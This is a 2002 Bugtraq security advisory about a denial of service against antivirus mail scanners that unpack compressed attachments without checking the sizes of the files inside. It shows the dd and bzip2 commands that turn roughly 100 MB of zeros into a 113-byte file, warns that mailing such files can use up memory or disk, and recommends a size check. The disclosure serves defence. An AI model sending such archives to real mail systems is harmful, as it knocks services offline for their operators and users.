[24414] in bugtraq
Anti Virus Mailscanners DOS
daemon@ATHENA.MIT.EDU (Eduardo R. Maciel)
Mon Feb 25 20:05:00 2002
Date: Mon, 25 Feb 2002 16:29:02 -0300
From: "Eduardo R. Maciel" <maciel@inetd.com.br>
To: bugtraq@securityfocus.com
Cc: vuldb@securityfocus.com,
Renato LinuxSecurity <renato@linuxsecurity.com.br>
Message-Id: <20020225162902.2279bf0d.maciel@inetd.com.br>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
-----------------------------------
-----[ SECURITY ANNOUNCEMENT ]-----
-----------------------------------
iNetd Security Research Annoucement
Name: Anti Virus Mailscanners DOS
Systems Affected: System independant
Date: 25/02/2002
Subject: Potential DOS.
Severity: HIGH
Author: Eduardo R. Maciel (maciel@inetd.com.br)
Description
===========
An antivirus mailscanner should check the filesizes inside a compressed file like .tar.gz, .zip, .bz2, etc, BEFORE open the file for scanning.
All the products that doesn't do that checking are vulnerable to a Denial Of Service attack.
Pay attention to the procedure below:
root@maciel:/tmp# dd if=/dev/zero of=/tmp/file count=200000
root@maciel:/tmp# ls -l /tmp/file
-rw-r--r-- 1 root root 102400000 Feb 24 22:13 file
root@maciel:/tmp# bzip2 -z file
root@maciel:/tmp# ls -l /tmp/file.bz2
rw-r--r-- 1 root root 113 Feb 24 22:14 file
Since the file has only null (numerical zeros, not the ASCII kind) characters, the size of the compressed file was reduced to a almost insignificant value.
Sending several mails with these compressed files may let a machine out of memory or disk space.
Solution
========
The mailscanner should check the filesizes inside a compressed file.
Credits:
Eduardo R. Maciel
maciel@inetd.com.br
